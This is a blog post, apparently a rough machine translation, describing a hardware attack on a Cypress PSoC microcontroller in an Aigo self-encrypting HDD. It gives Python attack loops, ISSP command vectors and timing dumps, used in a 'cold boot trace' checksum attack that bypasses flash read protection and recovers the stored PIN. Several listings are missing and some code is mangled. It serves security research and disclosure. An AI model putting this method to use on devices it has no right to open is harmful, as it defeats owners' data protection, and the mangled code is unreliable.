ProHoster > Блог > Administracija > Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a
Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a
Ovo je drugi i posljednji dio članka o hakiranju vanjskih diskova koji se sami šifriraju. Podsjetim da mi je kolega nedavno donio Patriot (Aigo) SK8671 hard disk i odlučio sam da ga obrnem, a sada dijelim šta je iz njega ispalo. Prije čitanja dalje, svakako pročitajte prvi dio članci.
4. Počinjemo da uzimamo dump sa internog PSoC fleš diska
Dakle, sve ukazuje (kao što smo ustanovili u [prvom dijelu]()) da je PIN kod pohranjen u flash dubinama PSoC-a. Stoga, moramo pročitati ove dubine blica. Front neophodnih radova:
preuzeti kontrolu nad “komunikacijom” sa mikrokontrolerom;
pronaći način da provjerite da li je ova “komunikacija” zaštićena od čitanja izvana;
pronaći način da zaobiđete zaštitu.
Postoje dva mjesta na kojima ima smisla tražiti važeći PIN kod:
interna fleš memorija;
SRAM, gdje se pin kod može pohraniti kako bi se uporedio sa pin kodom koji je unio korisnik.
Gledajući unaprijed, primijetit ću da sam ipak uspio napraviti dump internog PSoC fleš diska - zaobilazeći njegov sigurnosni sistem koristeći hardverski napad koji se zove "cold boot tracing" - nakon što sam preokrenuo nedokumentovane mogućnosti ISSP protokola. Ovo mi je omogućilo da direktno izbacim stvarni PIN kod.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9
"Komunikacija" s mikrokontrolerom može značiti različite stvari: od "prodavca do dobavljača" do interakcije pomoću serijskog protokola (na primjer, ICSP za Microchipov PIC).
Cypress ima svoj vlastiti protokol za ovo, nazvan ISSP (protokol serijskog programiranja u sistemu), koji je djelomično opisan u tehnička specifikacija. Patent US7185162 takođe daje neke informacije. Postoji i OpenSource ekvivalent koji se zove HSSP (koristit ćemo ga malo kasnije). ISSP radi na sljedeći način:
ponovno pokretanje PSoC-a;
izbacite magični broj na pin serijskih podataka ovog PSoC-a; za ulazak u režim eksternog programiranja;
poslati komande, koje su dugi nizovi bitova koji se nazivaju "vektori".
ISSP dokumentacija definira ove vektore za samo mali broj naredbi:
Inicijaliziraj-1
Inicijaliziraj-2
Initialize-3 (3V i 5V opcije)
ID-SETUP
READ-ID-WORD
SET-BLOCK-NUM: 10011111010dddddddd111, gdje je dddddddd=blok #
BULK ERASE
PROGRAMSKI BLOK
VERIFY-SETUP
READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, gdje je DDDDDDDD = izlaz podataka, aaaaaa = adresa (6 bitova)
WRITE-BYTE: 10010aaaaaaddddddd111, gdje je dddddddd = podaci u, aaaaaa = adresa (6 bitova)
SECURE
KONTROLNA SUMA-POSTAVA
READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, gdje je DDDDDDDDDDDDDDDD = izlaz podataka: kontrolni zbir uređaja
Svi vektori imaju istu dužinu: 22 bita. HSSP dokumentacija ima neke dodatne informacije o ISSP-u: “ISSP vektor nije ništa više od niza bitova koji predstavlja skup instrukcija.”
5.2. Demystifying Vectors
Hajde da shvatimo šta se ovde dešava. U početku sam pretpostavio da su ti isti vektori sirove verzije M8C instrukcija, ali nakon provjere ove hipoteze, otkrio sam da se kodovi operacija ne podudaraju.
Onda sam proguglao gornji vektor i naišao evo ga studija u kojoj autor, iako ne ulazi u detalje, daje neke korisne savjete: „Svaka instrukcija počinje sa tri bita koji odgovaraju jednoj od četiri mnemonike (čitanje iz RAM-a, pisanje u RAM, čitanje registra, pisanje registra). Zatim postoji 8 bitova adrese, zatim 8 bitova podataka (čitanje ili pisanje) i na kraju tri stop bita.”
Tada sam mogao da izvučem neke vrlo korisne informacije iz odjeljka Supervisory ROM (SROM). tehnički priručnik. SROM je tvrdo kodirani ROM u PSoC-u koji pruža pomoćne funkcije (na sličan način kao Syscall) za programski kod koji se izvodi u korisničkom prostoru:
00h:SWBootReset
01h: ReadBlock
02h: Blok pisanja
03h: EraseBlock
06h: Table Read
07h: CheckSum
08h: Kalibracija0
09h: Kalibracija1
Upoređujući imena vektora sa SROM funkcijama, možemo mapirati različite operacije koje podržava ovaj protokol na očekivane SROM parametre. Zahvaljujući tome, možemo dekodirati prva tri bita ISSP vektora:
100 => “wrem”
101 => “rdmem”
110 => “wreg”
111 => “rdreg”
Međutim, potpuno razumijevanje procesa na čipu može se dobiti samo kroz direktnu komunikaciju sa PSoC-om.
5.3. Komunikacija sa PSoC-om
Pošto Dirk Petrautsky već jeste ported Cypressov HSSP kod na Arduinu, koristio sam Arduino Uno da se povežem na ISSP konektor na tastaturi.
Imajte na umu da sam tokom svog istraživanja prilično promijenio Dirkov kod. Moju modifikaciju možete pronaći na GitHubu: ovdje i odgovarajuću Python skriptu za komunikaciju sa Arduinom, u mom spremištu cypress_psoc_tools.
Dakle, koristeći Arduino, prvo sam koristio samo “zvanične” vektore za “komunikaciju”. Pokušao sam pročitati interni ROM koristeći naredbu VERIFY. Kao što se očekivalo, nisam bio u mogućnosti to učiniti. Vjerovatno zbog činjenice da su bitovi zaštite od čitanja aktivirani unutar fleš diska.
Zatim sam kreirao nekoliko svojih jednostavnih vektora za pisanje i čitanje memorije/registra. Imajte na umu da možemo pročitati cijeli SROM iako je fleš disk zaštićen!
5.4. Identifikacija registara na čipu
Nakon što sam pogledao “rastavljene” vektore, otkrio sam da uređaj koristi nedokumentirane registre (0xF8-0xFA) za specificiranje M8C kodova operacija, koji se izvršavaju direktno, zaobilazeći zaštitu. Ovo mi je omogućilo da pokrenem razne opkodove kao što su "ADD", "MOV A, X", "PUSH" ili "JMP". Zahvaljujući njima (gledajući nuspojave koje imaju na registre) uspio sam utvrditi koji su od nedokumentiranih registara zapravo regularni registri (A, X, SP i PC).
Kao rezultat toga, "rastavljeni" kod generiran alatom HSSP_disas.rb izgleda ovako (dodao sam komentare radi jasnoće):
U ovoj fazi već mogu komunicirati sa PSoC-om, ali još uvijek nemam pouzdane informacije o sigurnosnim bitovima fleš diska. Jako me iznenadila činjenica da Cypress korisniku uređaja ne pruža nikakav način da provjeri da li je zaštita aktivirana. Kopao sam dublje u Google da konačno shvatim da je HSSP kod koji je dao Cypress ažuriran nakon što je Dirk objavio svoju modifikaciju. I tako! Pojavio se ovaj novi vektor:
Koristeći ovaj vektor (pogledajte read_security_data u psoc.py), dobijamo sve sigurnosne bitove u SRAM-u na 0x80, gdje postoje dva bita po zaštićenom bloku.
Rezultat je depresivan: sve je zaštićeno u režimu „onemogući eksterno čitanje i pisanje“. Dakle, ne samo da ne možemo ništa čitati s fleš diska, već ne možemo ništa ni napisati (na primjer, da tamo instaliramo ROM dumper). A jedini način da onemogućite zaštitu je potpuno brisanje cijelog čipa. 🙁
6. Prvi (neuspeli) napad: ROMX
Međutim, možemo isprobati sljedeći trik: pošto imamo mogućnost izvršavanja proizvoljnih kodova, zašto ne bismo izvršili ROMX, koji se koristi za čitanje fleš memorije? Ovaj pristup ima dobre šanse za uspjeh. Zato što funkcija ReadBlock koja čita podatke iz SROM-a (koji koriste vektori) provjerava da li je pozvana od ISSP-a. Međutim, ROMX operacijski kod vjerovatno neće imati takvu provjeru. Dakle, evo Python koda (nakon dodavanja nekoliko pomoćnih klasa Arduino kodu):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byte
Nažalost, ovaj kod ne radi. 🙁 Tačnije radi, ali na izlazu dobijamo vlastite opcode (0x28 0x30 0x40)! Ne mislim da je odgovarajuća funkcionalnost uređaja element zaštite od čitanja. Ovo više liči na inženjerski trik: kada se izvršavaju eksterni opkodovi, ROM sabirnica se preusmjerava na privremeni bafer.
Ovo u suštini poziva SROM funkciju 0x07, kao što je predstavljeno u dokumentaciji (kurziv moj):
Ova funkcija provjera kontrolne sume. On izračunava 16-bitnu kontrolnu sumu broja korisnički specificiranih blokova u jednoj flash banci, počevši od nule. Parametar BLOCKID se koristi za prosljeđivanje broja blokova koji će se koristiti prilikom izračunavanja kontrolne sume. Vrijednost "1" će izračunati samo kontrolni zbir za nulti blok; dok "0" će uzrokovati da se izračuna ukupna kontrolna suma svih 256 blokova flash banke. 16-bitni kontrolni zbroj se vraća preko KEY1 i KEY2. Parametar KEY1 pohranjuje 8 bitova nižeg reda kontrolne sume, a KEY2 parametar pohranjuje 8 bitova visokog reda. Za uređaje s nekoliko flash banaka, funkcija kontrolne sume se poziva za svaki zasebno. Broj banke sa kojom će raditi je postavljen registrom FLS_PR1 (postavljanjem bita u njemu koji odgovara ciljnoj flash banci).
Imajte na umu da je ovo jednostavna kontrolna suma: bajtovi se jednostavno dodaju jedan za drugim; nema fensi CRC hira. Osim toga, znajući da jezgra M8C ima vrlo mali skup registara, pretpostavio sam da će prilikom izračunavanja kontrolne sume, međuvrijednosti biti zabilježene u istim varijablama koje će na kraju ići na izlaz: KEY1 (0xF8) / KEY2 ( 0xF9).
Dakle, u teoriji moj napad izgleda ovako:
Povezujemo se preko ISSP-a.
Počinjemo računanje kontrolne sume pomoću vektora CHECKSUM-SETUP.
Ponovo pokrećemo procesor nakon određenog vremena T.
Čitamo RAM da dobijemo trenutni kontrolni zbroj C.
Ponovite korake 3 i 4, svaki put malo povećavajući T.
Oporavljamo podatke sa fleš diska oduzimanjem prethodnog kontrolnog zbroja C od trenutnog.
Međutim, postoji problem: vektor Initialize-1 koji moramo poslati nakon ponovnog pokretanja prepisuje KEY1 i KEY2:
Ovaj kod prepisuje našu dragocjenu kontrolnu sumu pozivanjem Calibrate1 (SROM funkcija 9)... Možda možemo samo poslati magični broj (sa početka koda iznad) da uđemo u programski mod, a zatim pročitamo SRAM? I da, radi! Arduino kod koji implementira ovaj napad je prilično jednostavan:
Sačekajte određeni vremenski period; uzimajući u obzir sljedeće zamke:
Gubio sam dosta vremena dok nisam saznao šta je ispalo delayMicroseconds radi ispravno samo sa kašnjenjima koja ne prelaze 16383 μs;
a zatim ponovo ubio isto toliko vremena dok nisam otkrio da kašnjenje mikrosekunde, ako mu se preda 0 kao ulaz, radi potpuno pogrešno!
Ponovo pokrenite PSoC u režim programiranja (samo šaljemo magični broj, bez slanja inicijalizacijskih vektora).
Konačni kod u Pythonu:
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))
Ukratko, šta radi ovaj kod:
Ponovo pokreće PSoC (i šalje mu magični broj).
Šalje pune vektore inicijalizacije.
Poziva Arduino funkciju Cmnd_STK_START_CSUM (0x85), gdje se kašnjenje u mikrosekundama prenosi kao parametar.
Čita kontrolnu sumu (0xF8 i 0xF9) i nedokumentirani registar 0xF1.
Ovaj kod se izvršava 10 puta u 1 mikrosekundi. 0xF1 je uključen ovdje jer je to bio jedini registar koji se promijenio prilikom izračunavanja kontrolne sume. Možda je to neka vrsta privremene varijable koju koristi aritmetičko-logička jedinica. Obratite pažnju na ružan hak koji koristim da resetujem Arduino koristeći picocom kada Arduino prestane da pokazuje znakove života (nemam pojma zašto).
7.2. Čitanje rezultata
Rezultat Python skripte izgleda ovako (pojednostavljeno radi čitljivosti):
DELAY F1 F8 F9 # F1 – вышеупомянутый неизвестный регистр
# F8 младший байт контрольной суммы
# F9 старший байт контрольной суммы
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01 # Итак, 0x117-0xE7: 0x30
Imajući to u vidu, imamo problem: pošto radimo sa stvarnom kontrolnom sumom, nulti bajt ne menja pročitanu vrednost. Međutim, budući da cijela procedura izračunavanja (8192 bajta) traje 0,1478 sekundi (sa malim varijacijama svaki put kada se pokrene), što je jednako približno 18,04 μs po bajtu, možemo iskoristiti ovo vrijeme da provjerimo vrijednost kontrolne sume u odgovarajuće vrijeme. Za prva pokretanja sve se očitava prilično lako, budući da je trajanje računskog postupka uvijek gotovo isto. Međutim, kraj ovog dump-a je manje precizan jer "manja vremenska odstupanja" pri svakom pokretanju postaju značajna:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD
To je 10 dumpova za svaku mikrosekundu kašnjenja. Ukupno vreme rada za izbacivanje svih 8192 bajta fleš diska je oko 48 sati.
7.3. Flash binarna rekonstrukcija
Još nisam završio pisanje koda koji će u potpunosti rekonstruirati programski kod fleš diska, uzimajući u obzir sva vremenska odstupanja. Međutim, već sam vratio početak ovog koda. Da bih bio siguran da sam to uradio ispravno, rastavio sam ga koristeći m8cdis:
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f ret
Izgleda prilično uvjerljivo!
7.4. Pronalaženje adrese za skladištenje PIN koda
Sada kada možemo pročitati kontrolnu sumu u vrijeme koje nam je potrebno, lako možemo provjeriti kako i gdje se mijenja kada:
unesite pogrešan PIN kod;
promijenite pin kod.
Prvo, da bih pronašao približnu adresu skladištenja, napravio sam dump kontrolne sume u koracima od 10 ms nakon ponovnog pokretanja. Zatim sam unio pogrešan PIN i učinio isto.
Rezultat nije bio baš prijatan, jer je bilo mnogo promjena. Ali na kraju sam uspio utvrditi da se kontrolni zbir promijenio negdje između 120000 µs i 140000 µs kašnjenja. Ali “pincode” koji sam tamo prikazao bio je potpuno netačan - zbog artefakta procedure delayMicroseconds, koja radi čudne stvari kada joj se proslijeđuje 0.
Zatim, nakon što sam proveo skoro 3 sata, sjetio sam se da SROM sistemski poziv CheckSum prima argument kao ulaz koji specificira broj blokova za kontrolni zbir! To. lako možemo lokalizovati adresu skladištenja PIN koda i brojača „pogrešnih pokušaja“, sa tačnošću do bloka od 64 bajta.
Moje početne vožnje dale su sljedeće rezultate:
Zatim sam promijenio PIN kod iz "123456" u "1234567" i dobio:
Tako se čini da su PIN kod i brojač pogrešnih pokušaja pohranjeni u blok br. 126.
7.5. Uzimanje deponije bloka br. 126
Blok #126 bi trebao biti lociran negdje oko 125x64x18 = 144000μs, od početka izračunavanja kontrolne sume, u mom punom dumpu, i izgleda prilično uvjerljivo. Zatim, nakon što sam ručno procijedio brojne nevažeće dampove (zbog gomilanja „manjih vremenskih odstupanja“), na kraju sam dobio ove bajtove (sa latencijom od 145527 μs):
Sasvim je očigledno da je PIN kod pohranjen u nešifriranom obliku! Ove vrijednosti, naravno, nisu zapisane u ASCII kodovima, ali kako se ispostavilo, one odražavaju očitanja preuzeta sa kapacitivne tastature.
Konačno, izvršio sam još nekoliko testova da pronađem gdje je pohranjen brojač loših pokušaja. Evo rezultata:
0xFF - znači "15 pokušaja" i smanjuje se sa svakim neuspjelim pokušajem.
Imajte na umu da su vrijednosti kašnjenja koje sam koristio vjerovatno relevantne za jedan određeni PSoC - onaj koji sam koristio.
8. Šta je sljedeće?
Dakle, hajde da sumiramo PSoC stranu, u kontekstu našeg Aigo pogona:
možemo čitati SRAM čak i ako je zaštićen od čitanja;
Možemo zaobići zaštitu protiv prevlačenja koristeći napad hladnog pokretanja i direktno čitanje PIN koda.
Međutim, naš napad ima neke nedostatke zbog problema sa sinhronizacijom. Moglo bi se poboljšati na sljedeći način:
napisati uslužni program za ispravno dekodiranje izlaznih podataka koji su dobijeni kao rezultat "cold boot trace" napada;
koristite FPGA gadget za kreiranje preciznijih vremenskih kašnjenja (ili koristite Arduino hardverske tajmere);
pokušajte drugi napad: unesite namjerno netačan PIN kod, restartujte i izbacite RAM, nadajući se da će tačan PIN kod biti sačuvan u RAM-u radi poređenja. Međutim, to nije tako lako učiniti na Arduinu, budući da je nivo Arduino signala 5 volti, dok ploča koju ispitujemo radi sa signalima od 3,3 volta.
Jedna zanimljiva stvar koja bi se mogla isprobati je igrati se sa nivoom napona kako bi se zaobišla zaštita čitanja. Ako bi ovaj pristup funkcionirao, mogli bismo dobiti apsolutno tačne podatke sa fleš diska - umjesto da se oslanjamo na čitanje kontrolne sume s nepreciznim vremenskim kašnjenjima.
Budući da SROM vjerovatno čita zaštitne bitove preko ReadBlock sistemskog poziva, mogli bismo učiniti istu stvar kao opisano na blogu Dmitrija Nedospasova - reimplementacija napada Krisa Gerlinskog, objavljenog na konferenciji "REcon Brussels 2017".
Još jedna zabavna stvar koja bi se mogla uraditi jeste da se odvoji kućište od čipa: da se napravi SRAM dump, da se identifikuju nedokumentovani sistemski pozivi i ranjivosti.
9. Zaključak
Dakle, zaštita ovog drajva ostavlja mnogo da se poželi, jer koristi običan (ne "kaljeni") mikrokontroler za čuvanje PIN koda... Plus, nisam (još) pogledao kako stvari stoje sa podacima enkripcija na ovom uređaju!
Šta možete preporučiti za Aigo? Nakon analize par modela šifrovanih HDD diskova, 2015. godine sam napravio prezentacija na SyScan-u, u kojem je ispitao sigurnosne probleme nekoliko eksternih HDD diskova i dao preporuke šta bi se na njima moglo poboljšati. 🙂
Proveo sam dva vikenda i nekoliko večeri radeći ovo istraživanje. Ukupno oko 40 sati. Računajući od samog početka (kada sam otvorio disk) do kraja (dump PIN koda). Istih 40 sati uključuje vrijeme koje sam potrošio na pisanje ovog članka. Bilo je to vrlo uzbudljivo putovanje.